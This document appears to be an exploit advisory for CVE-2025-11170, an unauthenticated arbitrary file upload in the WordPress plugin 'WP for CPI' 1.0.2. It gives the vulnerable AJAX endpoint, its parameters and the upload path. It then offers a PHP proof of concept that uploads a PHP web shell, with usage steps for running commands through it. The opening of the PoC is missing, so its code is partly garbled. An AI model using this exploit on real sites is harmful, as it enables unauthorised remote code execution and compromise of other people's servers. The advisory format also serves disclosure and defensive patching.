============================================================================================================================================= | # Title : WP for CPI 1.0.2 Unauthenticated Arbitrary File Upload | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://discover.commoninja.com/wordpress/plugin/cpi-wp-migration | ============================================================================================================================================= [+] Summary : The WordPress plugin "WP for CPI" versions <= 1.0.2 suffer from an unauthenticated arbitrary file upload vulnerability via the "cpiwm_import" AJAX action. An attacker can upload arbitrary PHP files and achieve remote code execution. The vulnerable endpoint requires no authentication, nonce, or capability checks. Affected endpoint: /wp-admin/admin-ajax.php?action=cpiwm_import 2. Fake Python PoC Notice ------------------------- [+] References : https://packetstorm.news/files/id/211558/ CVE-2025-11170 A previously circulating Python PoC was analyzed and confirmed to be non-functional, incorrect, and not aligned with the plugin’s real behavior. The script was determined to be fake and technically invalid. A corrected analysis and working PoC are provided below. 3. Technical Details -------------------- The plugin exposes the action parameter: action=cpiwm_import The server accepts the following POST parameters: filename - the resulting file name on disk data - base64 encoded file contents index - import index (not validated) Uploaded files are saved to: /wp-content/plugins/cpi-wp-migration/storage/{filename} A successful upload returns the response: 0 4. Working PoC (PHP) --------------------- "; $data_b64 = base64_encode($payload); $post = [ "action" => "cpiwm_import", "filename" => $filename, "data" => $data_b64, "index" => "0" ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ajax); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "Server Response: $response\n"; if(trim($response) === "0"){ echo "[+] Upload Successful!\n"; echo "Shell Path:\n"; echo $target . "/wp-content/plugins/cpi-wp-migration/storage/" . $filename . "\n"; } else { echo "[!] Upload failed.\n"; } ?> 5. Usage Instructions ---------------------- Save the file: poc.php Run: php poc.php Access your shell: http://target.com/wp-content/plugins/cpi-wp-migration/storage/indoushka.php?cmd=id Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================